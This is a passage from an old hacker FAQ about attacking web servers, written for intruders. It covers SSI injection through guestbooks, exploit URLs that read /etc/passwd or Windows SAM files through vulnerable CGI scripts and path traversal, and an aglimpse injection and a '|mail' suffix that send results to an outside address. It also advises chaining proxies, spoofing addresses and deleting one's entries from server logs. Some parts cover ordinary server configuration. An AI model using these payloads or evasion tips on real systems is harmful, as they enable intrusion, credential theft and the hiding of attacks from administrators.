The biggest example is the guestbook. Typically, the common guestbook serves no real purpose except as a vanity, but they can be used as a point of attack. The idea is simple: Hacker fills out guestbook form and includes an SSI. Via CGI, the form is appended to the guestbook which is typically just an HTML document. Next person that views the guestbook activates the SSI. So what is bad? Consider these SSIs:
The first one erases everything that the id that httpd is running under owns. This is a little psycho, but should give you an idea on how serious this is (hope you're not running that httpd as root!). The next two give you a couple of more ideas to run with. And the last one, pasted into the document a couple hundred times will grind a server to a halt the next time that guestbook is accessed.
If SSIs are allowed, you may still have a way to use them. If there is another method of user input, such as a completely separate script, it could possibly be exploited. Granted, if you could access the system via a separate script you probably won't be messing with SSI, but if an anon FTP "/incoming" directory is in place and you can view an uploaded file via your browser, you could include the SSI stuff into an HTML file you've uploaded and then access it to run the SSI. Also, local users to the web server could do the same things.
SSL (Secure Socket Layer) is a encryption and user authentication standard for the Web. The basic idea behind the encryption is to encode the text of a message with a key. There are two ways to encrypt: symmetric (the same key is used for encoding and decoding) and asymmetric (one key is used for encoding and another for decoding). In the latter, there are a pair of keys that work together, one being the public key for encoding, and the other being a private key for decoding. A typical implementation would use both - an asymmetric system would be used to transmit a symmetric key good for the current session.
For this to work in a web environment, you need the scheme built into the browser and the server. SSL uses low level encryption to encrypt transactions in higher-level protocols such as HTTP, NNTP and FTP. The client authentication really isn't happening yet, and until some type of universal signature method is used (like Verisign) to sign clients, the only advantage is the message encryption. There is still no guarantee that you are who you say you are. Layman's terms? Look at your Site Certificates. These can be used to create a secure connection. You could still send a fake credit card number and claim you are Joe Blow, but at least your message could not be intercepted ;-)
There are a couple of ways to do this. First off, you could use a proxy. In the log files, the proxy's address will be there, not yours. Of course the disadvantage is in case the target contacts the proxy site and the proxy site supplies the target with log info.
It is possible, even desirable, to chain proxies to cover your tracks. This assumes there are no limitations on the proxy, such as they only allow certain addresses to be proxied.
Of course, since you don't need a browser to hack ('telnet targetaddress 80' will work just the same), you can use traditional hack methods such as IP address spoofing or attacking from another location other than your home account. Using methods like these will probably mean you'll need to tack on a "|mail hacker@remailer.example.com" to the end of each attempt so you can see the results.
Well, it's hardly an attack, but worth mentioning. Microsoft's Active Server Pages are dynamic pages, and are often used to do things such as control access to other pages or systems. Obviously, accessing the page's source would give the browsing party this info, which is usually not the intent of the author. Instead of accessing like so...
http://www.example.com/secret/files/default.asp
... add a dot on the end...
http://www.example.com/secret/files/default.asp.
...and this may yield the source code of the NT server's html page.
The campas attack refers to an old NCSA script called campas.sh which accepted newlines. For example:
http://www.example.com/cgi-bin/campas?%0acat%0a/etc/passwd%0a
This is old (version 1.2) and typically not found on most systems.
Versions earlier than 2.4 are susceptable to buffer overflows. The version of count.cgi is 2.5.
If the HylaFAX package is installed (common on some older Linux distributions), you can send arbitrary commands running as the UID of the web server:
http://www.example.com/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
Found on some systems, it allows you to finger a user via your web browser. The fingered site has the web server's IP address in their logs, not yours. If a site has this cgi script installed but finger traffic is blocked at their firewall, you could possibly finger hosts behind the firewall:
http://www.example.com/cgi-bin/finger\?thegnome@vortex.nmrc.org
If a site is running Glimpse HTTP and uses the standard scripts, arbitrary commands can be issued. This is a long line of text, but you should be able to figure it out:
http://www.example.com/cgi-bin/aglimpse/80IFS=5;CMD=5mail5thegnome\@nmrc.org\ <mailto:thegnome\@nmrc.org\>passwd;eval$CMD
Anything below version 2.9932 of the Htmlscript CGI allows for remote execution of commands. So does versions earlier than 1.2 of info2www. Also earlier versions of view_source.cgi, webdist.cgi, webgais.cgi, and websendmail.cgi are vulnerable.
We don't have the syntax handy, so look at the multitude of other web sploits in this FAQ and guess the url... ;-)
MetaInfo puts out a couple of NT products, such as MetaIP and a port of the Unix Sendmail program. These can be remotely managed by a web browser at port 5000 (the default). These can be exploited.
For the MetaInfo Sendmail:
http://www.example.com:5000/../../winnt/repair/sam - Gets the SAM
http://www.example.com:5000/../smusers.txt - Gets the POP3 password file
For MetaIP (note 3 nested levels back to c:\ instead of 2):
http://www.example.com:5000/../../../winnt/repair/sam - Gets the SAM
You can also execute arbitrary commands (this assumes Sendmail):
http://www.example.com:5000/../../winnt/system32/net.exe?use%20 etc etc
With this, you can have all kinds of fun, especially if the Resource Kit is used as there are a large number of command line utilities you can use. If the NT box is the sendmail server and the firewall, odds are you will be able to own the entire company.
Top | Next: The Basic Web Server | Previous: Web Browser as Attack Point | Table of Contents
This section deals with other platforms but it mainly refers to Unix-based Web servers.
The big weak spots are as follows:
They are as follows(the names may vary depending on the httpd server you're running):
Performance. If httpd is running as a standalone daemon, it read its configuration files once, and responses faster to user requests. Typically, if a site is expecting many users, the server is dedicated. This can be as simple as starting httpd as follows:
# httpd &
Of course, the site will probably have something like this in the /etc/rc0 (or equivalent file) so that httpd starts on bootup:
if [ -x /path/to/httpd ] /path/to/httpd fi
Most sites with web servers accessible to the Internet run as a standalone daemon. The downside is if the web service isn't being used all of the time then the server is wasting CPU running a web service with no one accessing it.
Running httpd under inetd starts and stops as user requests come in. The performance isn't as good -- as the server spawns httpd for each user, the configuration files are read in for each request. It is usually run by having a line in /etc/services like this:
http 80/tcp
There is an entry like this in /etc/inetd.conf:
http stream tcp nowait nobody /path/to/httpd httpd
This type of setup is most common on intranets. Very few Internet servers are set up this way, unless they are simply not very busy or the site is simply trying to save resources, combining web, ftp, and a few other services on one box.
Typically, a server will resolve paths by having a point in the configuration files that says something like "turn ~ into public_html", which means that ~thegnome will resolve to /server/path/to/documents + public_html. Therefore, if your server's path to docs is /usr/local/etc/httpd/htdocs with a sub directory under that of public_html with all of the users' directories under THAT, http://www.example.com/pub/public_html/thegnome becomes http://www.example.com/~thegnome and accesses the same file.
The problem with resolves is that some sites (depending on software, revisions, os, patches, etc) will resolve based off of the /etc/passwd listing of the home directory. This is good for intrusion, bad for security. As stated earlier in the FAQ, accessing http://www.example.com/~bin/etc/ can yield interesting results. In practical experience, we've seen this more often on BSD derivatives with Apache than anything else.
This entirely depends on the server software and how it is configured. It is usually in a subdirectory called "logs" in a different section of the tree than the regular web pages. It is usually named "access_log" for Apache or NCSA, or "access" for Netscape, or some other easily self-identifying name. This log will contain entries like so:
thegnome.example.com - - [14/Dec/1996:00:13:31 -0600] "GET /nomad/ HTTP/1.0" 200 293 thegnome.example.com - - [14/Dec/1996:00:13:35 -0600] "GET /nomad/2.html HTTP/1.0" 200 303 thegnome.example.com - - [14/Dec/1996:00:13:39 -0600] "GET /nomad/3.html HTTP/1.0" 200 333 thegnome.example.com - - [14/Dec/1996:00:13:43 -0600] "GET /nomad/4.html HTTP/1.0" 200 359 thegnome.example.com - - [14/Dec/1996:00:13:47 -0600] "GET /nomad/5.html HTTP/1.0" 200 385 thegnome.example.com - - [14/Dec/1996:00:13:51 -0600] "GET /nomad/6.html HTTP/1.0" 200 434 thegnome.example.com - - [14/Dec/1996:00:13:55 -0600] "GET /nomad/nomad.html HTTP/1.0" 200 1988 thegnome.example.com - - [14/Dec/1996:00:14:02 -0600] "GET /nomad/unix/index.html HTTP/1.0" 200 5066 thegnome.example.com - - [14/Dec/1996:00:14:28 -0600] "GET /nomad/unix/cvnmount.exploit HTTP/1.0" 200 3117
Obviously, if your phf accesses are in there, it could be incriminating. If you gain access, you might want to eliminate yourself from them.
The same with the error log. Called error_log or error, it's entries look like so:
[Thu Dec 19 22:10:02 1996] access to /usr/local/etc/httpd/htdocs/nomad/faqs/netware.htm failed for dyn2121a.dialin.example.com, reason: File does not exist [Thu Dec 19 22:10:21 1996] access to /usr/local/etc/httpd/htdocs/nomad/faqs/_free.html_ failed for dyn2121a.dialin.example.com, reason: File does not exist [Thu Dec 19 23:29:35 1996] access to /usr/local/etc/httpd/htdocs/nomad/HTTP failed for niobe.example.com, reason: File does not exist [Thu Dec 19 23:48:19 1996] send script output lost connection to client ip189.raleigh3.nc.example.com [Thu Dec 19 23:48:25 1996] send script output lost connection to client 10.0.1.1 [Fri Dec 20 09:19:13 1996] accept: Connection reset by peer [Fri Dec 20 09:19:13 1996] - socket error: accept failed [Fri Dec 20 10:35:41 1996] accept: Connection reset by peer [Fri Dec 20 10:35:41 1996] - socket error: accept failed [Fri Dec 20 10:39:55 1996] access to /usr/local/etc/httpd/htdocs/nomad/unix/Xtx86.c failed for 192.168.1.1, reason: File does not exist
This is going to vary from platform to platform, but we're going to use NCSA as an example. We're not going into a lot of detail, the point is that service can be limited, and to give a flavor of how easy it is for an admin to set up.
Restricting Access by Host Name:
In NCSA this is in access.conf, and you can specify the following:
There are more options depending on OS, server software, etc., and you can get pretty detailed. But most server software allows access restriction by host names.
Restricting Access by Directory:
This is usually accomplished by specifying a realpath/to/directory tag with the restrictions following, and then closing with an ending tag of , all within the access.conf file. For example, let's say the admin wants to limit a directory to company employees only on an NCSA server:
<Limit GET>
order deny,allow
deny from all
allow from mydomain.org
Include those lines in a .htaccess file in the directory you wish to limit and bingo, you're limiting access.
This typically involves the admin performing the following functions:
Building each user id/password as needed. Updating the main configuration files to recognize that passwords are being used. Updating any .htaccess files in individual directories.
The command line syntax for creating a user ID and password (on NCSA) is:
htpasswd [-c] .htpasswdUserName
UserName is the name of the user file you wish to create or edit. The -c option specifies a new file be created, not the old one edited. If you are creating a new UserName file, and htpasswd doesn't find a duplicate name, you will be prompted for the password. If it finds a duplicate name, it will prompt you to type it in twice. These passwords do not correspond to system passwords, so if you are an idiot wannabe hacker and you just got into a server with a shell, don't expect to create a root account with htpasswd and then su to it.
In NSCA, you will find the following in the access.conf file indicating passwords are in use:
<Directory /usr/stuff/WWW/docs>
AllowOverride None
Options Indexes
AuthName secretPassword
AuthType Basic
AuthUserFile /usr/WWW/security/.htpasswd
AuthGroupFile /usr/WWW/security/NULL
<Limit GET>
require user UserName
For a directory-level usage, this might be in the .htaccess file:
AuthName secretPassword
AuthType Basic
AuthUserFile /usr/WWW/security/.htpasswd
AuthGroupFile /usr/WWW/security/.group1
<Limit GET>
require user UserName
Once again, we're not going to go into a lot of detail here. You need to read the documentation for the server you're attacking (i.e. do your homework) and THEN start changing or updating files. For example, .htaccess is the name of the file for NCSA and its derivatives.
One of the good things for intruders is that if an admin is using per-directory restrictions you can often retrieve these files just like a regular URL. For example, if the target is restricting access to the /usr/local/etc/httpd/docs/secure directory using a .htaccess file to control access, this URL might retrieve it (depending on server software):
http://www.example.com/secure/.htaccess
Besides containing important info, it will give you the location of the web passwd file.
Summed up, web spoofing is a man-in-the-middle attack that makes the user think they have a secured session with one specific web server, when in fact they have a secured session with an attacker's server. At that point, the attacker could persuade the user to supply credit card or other personal info, passwords, etc. You get the idea.
Here's how it works in a nut shell:
What is the problem here? It is not SSL. It is the certificates. You see, as long as you have what looks to be the proper info in the certificate, the user will never know the difference. Sure, the URL might not look right, but you can use Java to control that.
Of course, only an idiot would redirect a user to a server in their home or office, you would of course redirect them to a server you have compromised. And you would use the compromised server's certificate to get that solid key. That's the trick -- make the key solid, and the user is fooled.
For more details on this type of attack, check out the following URLs:
Top | Next: NT Basics | Previous: The Web Browser as an Attack Tool | Table of Contents
This section deals with the basics and other background info to help prepare for NT hacking.
There are several different components. Each has a role within the overall NT security model. Because of the amount and complexity of components in the security model, not only should the individual components be explored, but how they work together should be explored.